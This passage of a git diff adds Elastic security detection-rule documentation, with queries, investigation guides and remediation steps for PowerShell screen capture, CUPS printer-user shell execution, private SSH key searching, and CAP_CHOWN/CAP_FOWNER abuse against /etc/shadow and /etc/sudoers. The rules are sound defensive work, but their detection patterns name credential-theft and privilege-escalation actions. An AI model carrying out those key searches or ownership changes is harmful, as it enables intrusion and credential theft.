Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Peripheral Device Discovery +** ID: T1120 +** Reference URL: https://attack.mitre.org/techniques/T1120/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-screenshot-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-screenshot-capabilities.asciidoc new file mode 100644 index 0000000000..1ee386d391 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-powershell-suspicious-script-with-screenshot-capabilities.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-20-powershell-suspicious-script-with-screenshot-capabilities]] +=== PowerShell Suspicious Script with Screenshot Capabilities + +Detects PowerShell script block content that uses CopyFromScreen with .NET bitmap classes to capture screenshots. Attackers use screen capture to collect on-screen information and credentials. + +*Rule type*: query + +*Rule indices*: + +* logs-windows.powershell* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating PowerShell Suspicious Script with Screenshot Capabilities* + + + +*Possible investigation steps* + + +- Does the alert-preserved script content indicate a bounded screenshot action or deliberate repeated screen collection? + - Focus: the preserved script text on the alert and any associated `file.path`. + - Implication: supports deliberate collection when the script loops, captures full desktops, or targets multiple monitors; weaker support when the content shows a single bounded capture tied to a recurring support or test action. + +- Does the reconstructed script add save, encode, archive, or transfer logic that changes risk? + - Why: script block logging can split one script across multiple records; later fragments often reveal output paths, encoding, or transfer logic. + - Focus: `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, and `powershell.file.script_block_length` to rebuild adjacent fragments, then the reconstructed script body for output paths, image encoding, archive helpers, or remote destinations. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: staging becomes more likely when reconstruction shows image saves, compression, archiving, or transfer logic. + +- Can you recover the PowerShell process and explain how it was launched? + - Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file and network review bounded to the same host and alert time. + - Implication: supports unauthorized use when the process runs from user-writable paths, inherits an unusual parent, or lands in an unexpected session type. + +- Does the user-host pattern fit a recognized support, accessibility, or QA workflow? + - Focus: the `user.id` and `host.id` pairing, the recovered `process.parent.executable`, and any prior alert recurrence for the same pairing and launcher. + - Hint: if workflow documentation is unavailable, require the same pairing and launcher to recur across prior alerts. + - Implication: escalate when the user-host pair has no recurring support or QA pattern, the launcher is new, or the host is used for privileged sessions. + +- Do file events show screenshot output, staging artifacts, or suspicious script provenance? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.Ext.header_bytes`, `file.origin_url` or `file.Ext.windows.zone_identifier`, and later reuse of a written path as `process.executable`. + - Implication: staging is more likely when the script arrives from download locations, writes screenshots to user-writable paths, or produces files that later execute. + +- Do network events show transfer of captured images or related staging activity? + - Focus: network events for the same `process.entity_id`, separating DNS `lookup_result` events (`dns.question.name`, `dns.resolved_ip`) from connection events (`destination.ip`, `destination.port`). + - Implication: delivery risk increases when the process reaches rare external infrastructure, remote storage, or destinations named in the script. Missing network telemetry is unresolved, not benign. + +- Does the host or session context suggest privileged or sensitive on-screen data could have been exposed? + - Why: the same capture script is far more consequential on admin workstations, jump hosts, or finance endpoints than on a lab box used for UI testing. + - Focus: the recovered `process.Ext.session_info.logon_type` and the `user.id`/`host.id` pairing. For remote sessions, bridge `process.Ext.authentication_id` to authentication events for `source.ip`; if unavailable, treat origin as unresolved. + - Implication: raise urgency when the visible desktop likely contained credentials, privileged consoles, or finance data. + +- If the local evidence stays suspicious, do related alerts suggest broader compromise? + - Focus: related alerts for the same `user.id` and `host.id` in the last 48 hours to spot recurrence across hosts or same-host staging, archive helpers, or alternate capture routines. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user repeats screenshot capture across hosts or the host shows precursor access or alternate capture routines; keep narrow when both views stay confined to one recognized launcher. + +- Escalate when capture scope, launch context, artifacts, network, or session sensitivity align on unauthorized screen collection; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Support, QA, accessibility, or testing workflows can legitimately trigger this rule. Confirm by matching the same `process.executable`, signer, and `host.id` pattern across prior alerts or against workflow records. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on screenshot-related strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed workflow evidence: the stable user-host pairing, recovered launch chain, and bounded internal capture or transfer path. Create an exception only if the same user, host, and launch context recur consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, written `file.path` artifacts, and any `dns.question.name` or `destination.ip` values linked to transfer. Apply reversible containment such as temporary egress restrictions or tighter monitoring on the exposed session. Escalate to host isolation only when capture, staging, or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host and contain the affected account when capture scope, launch chain, artifacts, or delivery evidence shows unauthorized screen collection or transfer. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- If linked `dns.question.name`, `destination.ip`, or transfer artifacts confirm screenshot delivery or staging, block the confirmed destination, channel, or automation path before cleanup and preserve any related cloud, messaging, or remote-storage identifiers needed for follow-on scoping. +- If screenshots may have captured credentials, privileged sessions, or other sensitive on-screen data, follow the incident process for credential reset and access review for the exposed accounts or sessions, and review post-alert access from the same host or user for follow-on misuse. +- After containment, review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Remove confirmed staged scripts, screenshot artifacts, and transfer helpers. Restrict the execution path, such as tightening PowerShell execution policies or script-path allowlists. +- Retain PowerShell script block logging and related endpoint telemetry so the case remains auditable. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + CopyFromScreen and + ("System.Drawing.Bitmap" or "Drawing.Bitmap") + ) and not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-printer-user-lp-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-printer-user-lp-shell-execution.asciidoc new file mode 100644 index 0000000000..355f6d64e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-printer-user-lp-shell-execution.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-printer-user-lp-shell-execution]] +=== Printer User (lp) Shell Execution + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Crowdstrike +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Printer User (lp) Shell Execution* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "ProcessRollup2", "ProcessRollup2") and user.name == "lp" and + process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( + process.command_line like ( + "*/tmp/foomatic-*", "*-sDEVICE=ps2write*", "*printf*", "/bin/sh -e -c cat", "/bin/bash -c cat", + "/bin/bash -e -c cat" + ) or + process.args like ("gs*", "/usr/bin/lsb_release", "/usr/lib/cups/filter/gstopdf") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-private-key-searching-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-private-key-searching-activity.asciidoc new file mode 100644 index 0000000000..ed951e4794 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-private-key-searching-activity.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-20-private-key-searching-activity]] +=== Private Key Searching Activity + +This rule detects private key searching activity on Linux systems. Searching for private keys can be an indication of an attacker attempting to escalate privileges or exfiltrate sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Credential Access +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Private Key Searching Activity* + + +In Linux environments, private keys are crucial for secure communications and authentication. Adversaries may exploit this by searching for private keys to gain unauthorized access or escalate privileges. The detection rule identifies suspicious use of the 'find' command targeting key files in sensitive directories, signaling potential malicious intent. This proactive monitoring helps mitigate risks associated with unauthorized key access. + + +*Possible investigation steps* + + +- Review the process details to confirm the 'find' command was executed with parameters targeting private key files, as indicated by the command line containing patterns like "*id_dsa*", "*id_rsa*", etc., and directories such as "/home/", "/etc/ssh", or "/root/". +- Identify the user account associated with the process to determine if the activity aligns with expected behavior for that user or if it suggests potential compromise. +- Check the process's parent process to understand the context in which the 'find' command was executed, which may provide insights into whether this was part of a legitimate script or an unauthorized action. +- Investigate any recent login activity or changes in user privileges for the account involved to assess if there has been any unauthorized access or privilege escalation. +- Examine system logs and other security alerts around the time of the event to identify any correlated suspicious activities or anomalies that might indicate a broader attack campaign. + + +*False positive analysis* + + +- System administrators or automated scripts may use the 'find' command to locate private keys for legitimate maintenance tasks. To handle this, create exceptions for known administrative accounts or scripts that regularly perform these actions. +- Backup processes might search for private keys as part of routine data protection activities. Identify and exclude these processes by specifying their unique command-line patterns or process IDs. +- Security audits or compliance checks often involve scanning for private keys to ensure proper security measures are in place. Exclude these activities by recognizing the specific tools or scripts used during audits. +- Developers or DevOps teams may search for private keys during application deployment or configuration. Establish a list of trusted users or processes involved in these operations and exclude them from triggering alerts. +- Automated configuration management tools like Ansible or Puppet might search for keys as part of their operations. Identify these tools and exclude their specific command-line patterns to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the 'find' command searching for private keys. +- Conduct a thorough review of access logs and process execution history to identify any unauthorized access or privilege escalation attempts. +- Change all potentially compromised private keys and associated credentials, ensuring new keys are securely generated and stored. +- Implement stricter access controls and permissions on directories containing private keys to limit exposure to unauthorized users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Enhance monitoring and alerting for similar activities by ensuring that detection rules are tuned to capture variations of the 'find' command targeting sensitive files. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started", "executed") and +process.name == "find" and +process.command_line like ("*id_dsa*", "*id_rsa*", "*id_ed*", "*id_ecdsa*", "*id_xmss*", "*id_dh*") and +process.command_line like ("*/home/*", "*/etc/ssh*", "*/root/*", "/") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc new file mode 100644 index 0000000000..127be7889c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-cap-chown-cap-fowner-capabilities]] +=== Privilege Escalation via CAP_CHOWN/CAP_FOWNER Capabilities + +Identifies instances where a processes (granted CAP_CHOWN and/or CAP_FOWNER capabilities) is executed, after which the ownership of a suspicious file or binary is changed. In Linux, the CAP_CHOWN capability allows a process to change the owner of a file, while CAP_FOWNER permits it to bypass permission checks on operations that require file ownership (like reading, writing, and executing). Attackers may abuse these capabilities to obtain unauthorized access to files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via CAP_CHOWN/CAP_FOWNER Capabilities* + + +In Linux, CAP_CHOWN and CAP_FOWNER are capabilities that allow processes to change file ownership and bypass file permission checks, respectively. Adversaries exploit these to gain unauthorized access to sensitive files, such as password or configuration files. The detection rule identifies suspicious processes with these capabilities that alter ownership of critical files, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.command_line, to understand the context of the executed process and its intended function. +- Check the user.id associated with the process to determine if the process was executed by a non-root user, which could indicate unauthorized privilege escalation attempts. +- Investigate the file.path that had its ownership changed to assess the potential impact, focusing on critical files like /etc/passwd, /etc/shadow, /etc/sudoers, and /root/.ssh/*. +- Analyze the sequence of events by examining the host.id and process.pid to identify any related processes or activities that occurred within the maxspan=1s timeframe. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System administration scripts or automated processes may legitimately use CAP_CHOWN or CAP_FOWNER capabilities to manage file permissions or ownership. Review and whitelist these processes if they are verified as non-malicious. +- Backup or restoration operations often require changing file ownership and permissions. Identify and exclude these operations from triggering alerts by specifying known backup tools or scripts. +- Software installation or update processes might alter file ownership as part of their normal operation. Monitor and exclude these processes if they are part of a trusted software management system. +- Development or testing environments may have scripts that modify file ownership for testing purposes. Ensure these environments are properly segmented and exclude known development scripts from detection. +- Custom user scripts that require elevated permissions for legitimate tasks should be reviewed and, if deemed safe, added to an exception list to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified with CAP_CHOWN or CAP_FOWNER capabilities that are altering file ownership, especially those targeting critical files like /etc/passwd or /etc/shadow. +- Revert any unauthorized changes to file ownership or permissions on critical files to their original state to restore system integrity. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and disable any unauthorized accounts or privilege escalations. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement additional monitoring on the affected host and similar systems to detect any further attempts to exploit CAP_CHOWN or CAP_FOWNER capabilities. +- Review and update security policies and configurations to restrict the assignment of CAP_CHOWN and CAP_FOWNER capabilities to only trusted and necessary processes. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-w /etc/ -p rwxa -k audit_recursive_etc" + -- "-w /root/ -p rwxa -k audit_root" + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.pid with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name != null and process.thread.capabilities.effective : ("CAP_CHOWN", "CAP_FOWNER") and + process.command_line : ("*sudoers*", "*passwd*", "*shadow*", "*/root/*") and user.id != "0"] + [file where host.os.type == "linux" and event.action == "changed-file-ownership-of" and event.type == "change" and + event.outcome == "success" and file.path in ( + "/etc/passwd", + "/etc/shadow", + "/etc/sudoers", + "/root/.ssh/*" + ) and user.id != "0" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc new file mode 100644 index 0000000000..526eda3768 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-privilege-escalation-via-cap-setuid-setgid-capabilities]] +=== 